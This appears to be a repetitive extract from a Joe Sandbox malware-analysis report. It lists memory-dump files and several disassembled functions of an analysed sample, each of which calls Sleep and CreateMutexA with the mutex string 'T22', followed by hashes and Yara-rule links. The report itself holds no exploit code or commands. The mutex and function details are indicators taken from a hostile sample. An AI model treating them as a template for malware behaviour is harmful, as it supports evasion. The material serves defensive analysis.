Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T22
API String ID: 1464230837-2975029903
Opcode ID: bb441e508ec9985faeaa0ceba356d9412cabca67e0870a011f4f2d793c812996
Instruction ID: c1bfdcd862e24721bdf5c53efe49af3f74277007261cc8c28556447d6425528a
Opcode Fuzzy Hash: bb441e508ec9985faeaa0ceba356d9412cabca67e0870a011f4f2d793c812996
Instruction Fuzzy Hash: 333155317242488BEB08DFB8DC89F6CB766EF86318F24431DE009973D1C77699A08652

Function 002CA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 002CA963
CreateMutexA.KERNEL32(00000000,00000000,00323254), ref: 002CA981

Strings

T22, xrefs: 002CA970

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T22
API String ID: 1464230837-2975029903
Opcode ID: 1310d3b31f435f9e1cca55f9f8d393fa22d74e627fab9738cef7de97eb2d8a6c
Instruction ID: 17b4f8b2402711006d709a849fc42b263caf5ae71be4b1a7251d184bebcd3558
Opcode Fuzzy Hash: 1310d3b31f435f9e1cca55f9f8d393fa22d74e627fab9738cef7de97eb2d8a6c
Instruction Fuzzy Hash: 39313731B242089BEB1CDB78DD89F6DB766EF81318F20431DE015973D5C77699A08A52

Function 002CA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 002CA963
CreateMutexA.KERNEL32(00000000,00000000,00323254), ref: 002CA981

Strings

T22, xrefs: 002CA970

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T22
API String ID: 1464230837-2975029903
Opcode ID: 924a6ef7ff39fc7692561a8e19c0cf8a59117840dd3b9e9c5e62555ee048cba9
Instruction ID: 6783b0bd8e799ed15aaefe10e283ddd5e8e1fa854afcea0870373ee4b3abbd2b
Opcode Fuzzy Hash: 924a6ef7ff39fc7692561a8e19c0cf8a59117840dd3b9e9c5e62555ee048cba9
Instruction Fuzzy Hash: 7B313531B242088BEB08DF78D989F6CB766EB85318F24871DE0159B3D5C7399DA18B52

Function 002CA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 002CA963
CreateMutexA.KERNEL32(00000000,00000000,00323254), ref: 002CA981

Strings

T22, xrefs: 002CA970

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T22
API String ID: 1464230837-2975029903
Opcode ID: 09c7e9a4ce658ef741ba8a897c4f1638f56287a80c8c84d89d96639fd355902f
Instruction ID: 238309c502c71a9b7d77675d5980ac90fbbfef6d815a5d1be1427cfa147cb62f
Opcode Fuzzy Hash: 09c7e9a4ce658ef741ba8a897c4f1638f56287a80c8c84d89d96639fd355902f
Instruction Fuzzy Hash: F53146317242088BEB08DF78DD89F6DF766EB81318F24871DE015973D5C77599A08A52

Function 002C9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 002CA963
CreateMutexA.KERNEL32(00000000,00000000,00323254), ref: 002CA981

Strings

T22, xrefs: 002CA970

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T22
API String ID: 1464230837-2975029903
Opcode ID: 0a29bb1e0e923f7d60e5e2409cd6a070784d176a5375dfe6e371bd6b8d242467
Instruction ID: 5d9fdf2533c1441f6fc5854966114e2673c3cd3e9e983ab12498370bb3ecdd11
Opcode Fuzzy Hash: 0a29bb1e0e923f7d60e5e2409cd6a070784d176a5375dfe6e371bd6b8d242467
Instruction Fuzzy Hash: F2216732724204DBEB18DF68ED89B6CB366EBC1318F20431DE009973D1CB769DA08A51

Function 002CA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 002CA963
CreateMutexA.KERNEL32(00000000,00000000,00323254), ref: 002CA981

Strings

T22, xrefs: 002CA970

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
